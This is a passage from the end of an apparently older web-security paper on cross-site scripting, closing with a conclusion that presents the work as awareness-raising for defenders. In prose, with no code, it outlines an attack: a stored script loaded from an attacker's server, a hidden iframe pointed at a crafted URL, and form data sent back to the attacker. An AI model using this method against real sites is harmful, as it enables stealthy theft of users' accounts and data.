to request the page with the crafted url there is a chance of being caught in our
evil attempts. That is no fun. So now we ask ourselves, how can we force the user to
perform those actions so they don’t realize it is happening? There is a simple answer
to this and it is termed XSS Leveraging. Lets indulge some thought and combine some
of the holes we have found on this site.

I can inject scripts that get stored in the database and output to unsuspecting users.
So I can force users into any action I want. Now lets assume that the cookies didn’t
contain all the login information and we couldn’t just steal accounts that way. Lets
assume we can just tell from the cookie if they are logged in or not. So, we embed
our script src (another nice thing about using a script src to embed the script
commands from a local server is that you know exactly who got hit and you can change
the script at anytime and don’t have to alter the database to change the code or turn
it off). Our next step is top create a simple script. First look at the cookie, if
the user is logged in then we write an iframe to the document with style attributes
to either set it to hidden or to position it off screen. We then navigate this iframe
to the crafted url. As the page navigates IE may pop up its "some items on this page are
secure" or whatever dialogue but people generally feel safer with ssl so they probably
would click ok. Also there are alot of instances where a regular http:// request for
a page that was meant to be only displayed over ssl will work, again I digress.. So
lets say we have our iframe loaded with the prize, now it is a simple matter of grabbing
the form elements we want and then submit the data to our server. Since all of our script
is executing from the same domain we do not have any problems with the cross domain
security model and the prize is ours.


4 Conclusion.

By now I hope you all understand that Cross sight scripting is not as trivial
a 'security' hole as it appears on the surface as all of the simple demos
people post as examples.

Identifying Cross Sight Scripting is the easy part.

Foreseeing its possibilities and knowing how to use it to impact a user base
is the hard part, and is the part that is not widely discussed.

With XSS so widely written about and so misunderstood alot of people have walked away
with the false conclusion that it is an annoyance and not a threat.

The purpose of this paper is not to arm a hoard of script kiddies with a bunch of
proven tricks, but is to try to instill a sense as its actual dangers and impacts
with those who are in the position to do something about it.

As with all knowledge, it can be a double sided sword. As rfp's paper on Sql injection
techniques brought out the dangers of Sql injection to the public I too hope that
this paper may have a similar effect and raising awareness and helping people to
limit their own (and their surfer populations) exposure.

You may not loose your server to XSS attacks, it may not DOS your network, but you
may loose your users, and you may be the reason your clients lost their credit card
numbers, fell victim to identity theft or had their accounts tampered with.

Like this paper? Want to read more?

Check out the site for more Web Application Security related papers and specialized Web App auditing tools.

Share this content:
Home | News | Articles | Advisories | Submit | Alerts | Links | What is XSS | About | Contact | Some Rights Reserved.